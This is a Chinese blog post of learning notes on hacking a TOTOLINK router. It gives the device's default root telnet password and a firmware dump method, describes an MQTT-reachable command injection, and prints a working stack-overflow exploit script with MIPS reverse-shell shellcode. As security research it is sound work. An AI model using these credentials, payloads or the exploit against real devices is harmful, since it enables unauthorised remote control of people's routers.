倒霉蛋的totolink学习手记

本文最后更新于:2023年12月28日 晚上

0x0:写在所有之前

kernel、v8、虚拟化、Iot,因为笔者并不想在pwn的学习上止步于CTF,且对Iot也有点兴趣,故选择了这条路(你以为是我不想当个内核带师吗,是实在是学不会啊)

在nameless爷爷的推荐下,笔者在咸鱼上买了一个totolink,以此来作为笔者Iot漏洞挖掘的入门教材。

0x1:拿不到shell,妈妈生的

现在官网下载固件@totolink

用binwalk解压,提取出文件系统squashfs-root

在里面随便找找,便看到了telnet.asp,那便可以通过telnet服务拿到路由器的shell

再搜索一下“shadow”这种敏感文件

img

user:root

pwd:其实网上一找就是“cs2012”,md5付费解密也行

OK现在就可以拿一下路由器的shell了

拿到设备先暴拆,然后插上网线,笔电连上totolink的无线

img

登录网关

img

可以看到笔者这个设备的固件版本已经很老了

先把网段改到192.168.55.1,避免和原本的撞上,再把防火墙一关,试着访问【IP】/telnet.asp

结果半天加载不出来

后来无意看到totolink这个牌子要用极为先进的360浏览器的兼容模式才能访问(真的吐血)

通过网页把telnet的服务打开后,试着用nmap扫一下

img

可以看到telnet服务的默认端口”23“已经打开,需要注意到的是这边还有个mqtt服务的默认端口1883也打开了

用telnet登录,user:root password:cs2012

img

登陆进去了,好耶!!

结果默认的busybox着实有点寒酸,好在有wget,那就起个http服务拉个mipsel架构的busybox进去好了

img

同时因为笔者的路由器固件版本实在是太老,所以笔者按照@I0tus师傅博客中的方法,把真机中的固件拉了出来

1
2
3
4
./busybox-mipsel sh
./busybox-mipsel dd if=/dev/mtdblock1 of=./mtdblock1
#先在宿主机起个ftp
./busybox-mipsel ftpput -P 21 192.168.55.2 ./mtdblock1

因为想试着打打真机,所以笔者接下来的分析都基于这份提取出来的固件

0x2:用mqtt狠狠地注入

用burp抓个包先

访问网关

img

登录

img

开启telnet服务

img

看起来负责网络服务的是这个/cgi-bin/cstecgi.cgi

登录的时候存在密码泄露问题

同时,在使用登录服务和telnet服务的时候,可以看到有一些特别的字符串。

那就搜一下

”topicurl”存在于这几个elf文件中,结合抓包中出现的cstecgi.cgi,就把这个文件用ida打开看看

img

结果刚进main函数一眼command injection,太抽象了

img

但是cstecgi.cgi中并没有和“topicurl”实质有关的东西。

那再找一下”telnet_enabled”

img

进system.so康康

找到了一个setTelnetCfg,发现和开关telnet服务的参数很像

img

回溯这个函数, 出现module_init

img

OK,cstecgi.cgi负责的是http服务,但最后的setTelnetCfg却是在module_init中执行。cstecgi.cgi找不到加载system.so的痕迹,两者并无瓜葛。

翻看@blingbling师傅的博客后,发现此处使用的是dlopen的方法(路径+.so文件名),于是搜索路径”/lib/cste_modules”

出现了唯一匹配的结果

img

找到dlopen函数,这样思路就理通了

img

cstecgi.cgi接受到http请求后,通过cste_sub做中转,然后到system.so执行。

那么问题来了,cste_sub是啥嘞

在路由器里用netstat -pantu查看端口后得知,cste_sub是1883端口(cs_broker)的客户端,而1883端口是mqtt的默认端口。

img

所以在此设备中,http请求会先被转化mqtt,然后在不同的.so文件中得到执行。

那就来用mqtt狠狠注入吧!!

先下载mqtt.fx,配置好ip后订阅全部,为了效果显著一点,我们可以找一个command injection来试试

在/lib/cste_modules/upgrade.so的function–setUpgradeFW中,存在一个command injection

img

构造数据,直接用mqtt发送(${IFS}是用来绕过空格的)

img

可以看到tmp文件夹下已经出现目标文件

img

0x3:来试试栈溢出吧

/lib/cste_modules/wps.so 中的function–setWiFiWpsConfig存在栈溢出漏洞

先拉个mipsel架构的gdbserver进去,在这边调试的时候是attach cste_sub的pid

img

为了方便调试,这次用python发数据包

但是也可以先用mqtt.fx先发个cyclic生成的字符串确定一下offset

img

然后用msf反弹shell一把梭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
import paho.mqtt.client as mqtt
import threading

context(os = 'linux', arch = 'mips', log_level = 'debug')

buf = ""
buf += "\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21"
buf += "\xfd\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24"
buf += "\x0c\x01\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f"
buf += "\xfd\xff\x0f\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf"
buf += "\x09\x1d\x0e\x3c\x09\x1d\xce\x35\xe4\xff\xae\xaf"
buf += "\x37\x02\x0e\x3c\xc0\xa8\xce\x35\xe6\xff\xae\xaf"
buf += "\xe2\xff\xa5\x27\xef\xff\x0c\x24\x27\x30\x80\x01"
buf += "\x4a\x10\x02\x24\x0c\x01\x01\x01\xfd\xff\x11\x24"
buf += "\x27\x88\x20\x02\xff\xff\xa4\x8f\x21\x28\x20\x02"
buf += "\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff\xff\x10\x24"
buf += "\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff\x06\x28"
buf += "\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf\xaf"
buf += "\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
buf += "\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf"
buf += "\xfc\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24"
buf += "\x0c\x01\x01\x01"

pay = "a"*60 + "\x44\x03\x42"

client = mqtt.Client()
client.connect("192.168.55.1",1883,60)
client.publish('totolink/router/setting/setWiFiWpsConfig',payload='{"topicurl":"setting/setWiFiWpsConfig","WiFiIdx":"0","PINPBCRadio":"1","PINMode":"1","PIN":"'+pay+'"}'+'bbbbb'+buf)

比较蛋疼的是好像只有python2发过去的数据是正常的,python3就是一堆乱码

反弹shell的目标一定要和路由器同一个网段,不然弹不出来

0x4:带学牲的第一次漏洞挖掘

水了两个CVE(CVE-2023-40041&CVE-2023-40042),都是低质量漏洞,当时只想着能不能拿个CVE也没怎么深挖

0x5: UART串口调试

第一次焊接,属实是丑了一点,但好在功能是一点问题都没有

img

Nameless爷爷推荐的三排针确实挺好用的,但是这送的锡丝就是一坨shit,质量差的一批。

用SecureCRT直接quick connect就能进,但不知道为什么我笔记本两个COM口一个连上去就是没反应,换了一个就行了。

但进去后奇怪的是在uboot加载好后kernel加载之前狂按回车进不到uboot。


倒霉蛋的totolink学习手记
http://example.com/2023/07/12/倒霉蛋的totolink学习手记/
作者
korey0sh1
发布于
2023年7月12日
许可协议